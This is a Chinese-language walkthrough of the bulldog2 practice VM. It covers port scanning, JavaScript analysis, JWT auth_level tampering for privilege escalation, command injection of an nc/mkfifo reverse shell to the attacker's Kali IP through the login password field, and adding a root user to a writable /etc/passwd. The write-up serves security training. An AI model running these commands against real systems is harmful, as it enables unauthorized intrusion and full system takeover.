靶机bulldog2练习:通过反弹shell进行提权
环境:kali机一台:192.168.109.142、靶机bulldog2一台:192,168.109.149
扫描网段:发现有主机IP地址为192.168.109.149,存活
扫描发现目标的目标主机信息如下:
- -sV :版本探测
- -sT :TCP connect()扫描
- -sC :脚本扫描通过选项被**
- -p- :从端口1扫描到65535
- -T5个级别:paranoid (0)、sneaky (1)、polite (2)、normal(3)、 aggressive (4)、insane (5)
发现80端口、nginx服务
验证http中开启的-methods 方法
nmap --script http-methods --script-args http-methods.url-path="/test" 192.168.109.149
探测http服务发现不支持put方法,无法进行上传操作。
搜索nginx服务漏洞
在最后一行发现远程溢出,直接用火狐访问页面找交互点、找登录和注册
访问发现目标机的IP地址、通过F12寻找主页面源码
发现main.…….js脚本,进入调试去进行查看
复制下来代码查看,发现不行
只能直接调试器查看,找到路径
搜索register
- 根据js源码,可以使用POST形式提交,新用户注册需要填写姓名、邮箱、用户名、密码信息,完成注册。
- Content-Type 必须要是:application/json
- POST数据包内容处,必须要严格按照js代码里的规范
进入注册界面,抓包
由于不允许注册,因此在登录界面抓包,修改相关内容即可
Ctrl+R得到返回包,注册成功
关闭burpsuite拦截,登录成功
发现用户遍历点:尝试将123修改为admin,发现成功越权
再次修改用户,发现依旧可以成功越权
由于页面没有出现admin显示,因此刚刚尝试的两个用户均为普通用户,水平越权成功
尝试将刚注册的用户进行垂直越权:登录抓包,发现明文传输
查询JWT : https://jwt.io
发现一个可疑的参数:“auth_level”,通过名字就应该知道是判断用户权限的,我们进行使用这个参数去刚刚保存的几个js文件里搜索看看.
在main.js发现master_admin_user管理员用户,可以尝试抓包,结合jwt编码方式,修改用户级别,达到垂直越权的目的。
Forward得到返回包如下:
修改jwt网页的auth_level,得到enconde
将得到encode码替换掉返回包中的encode,再将standard_user改为master_admin_user
将burpsuite的intercept is off,查看页面,发现已经成功垂直越权
之前尝试将登录的包修改为注册界面,GO之后,返回报错
注:如果返回包只出现简单的error报错,在返回包的Render下查看依旧可以得到路经
直接发现目录名称 Bulldog-2-The-Reckoning,搜索是否能找到相关的东西
在github上发现了user.js文件:
查看源码,发现问题点
此时需要再次垂直越权,得到如下图:
点击login,抓包,接着Ctrl+R,将password改成错误的密码,GO
在错误的密码后面插入下面反弹shell语句:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1|nc 192.168.109.142 443 >/tmp/f;
里面的IP地址是kali本机IP地址,接着在kali中打开监听,然后在burpsuit点击GO即可
查看当前主机:whoami
接下来为了提权,可以直接反弹shell
使用python一句话获取标准shell命令:python -c ‘import pty;pty.spawn(“/bin/bash”)’
该反弹shell主要是查找其他用户具有写权限的文件有哪些
发现/etc/passwd可以写,创建一个用户qwe,密码为pass,aa为盐值。
注:不使用加密盐,crypt格式不认
将得到的用户qwe写入/etc/passwd中
echo 'qwe:aaW3cJZ7OSoQM:0:0:sam:/root:/bin/bash '>> /etc/passwd
查看写入是否成功
切换用户,查看权限
至此,提权成功!